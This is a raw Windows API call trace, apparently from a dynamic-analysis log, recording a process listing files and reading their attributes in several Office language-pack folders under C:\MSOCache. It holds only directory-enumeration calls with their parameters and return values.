	[0050.233] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1
	[0050.233] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.233] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.233] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.234] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270eeb8 | out: lpFileInformation=0x1270eeb8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1
	[0050.235] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270ef08 | out: lpFileInformation=0x1270ef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1
	[0050.235] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1270ef58 | out: lpFileInformation=0x1270ef58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1
	[0050.236] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270efa8 | out: lpFileInformation=0x1270efa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1
	[0050.236] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1270eff8 | out: lpFileInformation=0x1270eff8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.237] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.238] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.238] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1
	[0050.238] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0050.238] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1
	[0050.238] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.238] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.238] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.239] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1270f188 | out: lpFileInformation=0x1270f188*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1
	[0050.241] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270f1d8 | out: lpFileInformation=0x1270f1d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1
	[0050.241] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270f228 | out: lpFileInformation=0x1270f228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1
	[0050.241] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270f278 | out: lpFileInformation=0x1270f278*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1
	[0050.242] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1270f2c8 | out: lpFileInformation=0x1270f2c8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.242] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.244] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.244] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1
	[0050.244] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1
	[0050.244] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0050.244] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.244] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.244] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.245] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1270f458 | out: lpFileInformation=0x1270f458*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc)) returned 1
	[0050.246] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270f4a8 | out: lpFileInformation=0x1270f4a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00)) returned 1
	[0050.246] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270f4f8 | out: lpFileInformation=0x1270f4f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1
	[0050.246] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270f548 | out: lpFileInformation=0x1270f548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1
	[0050.247] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1270f598 | out: lpFileInformation=0x1270f598*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.248] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.248] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.248] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.248] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1
	[0050.248] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1
	[0050.248] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1
	[0050.248] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.248] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.248] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270f728 | out: lpFileInformation=0x1270f728*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1
	[0050.248] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1270f778 | out: lpFileInformation=0x1270f778*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd)) returned 1
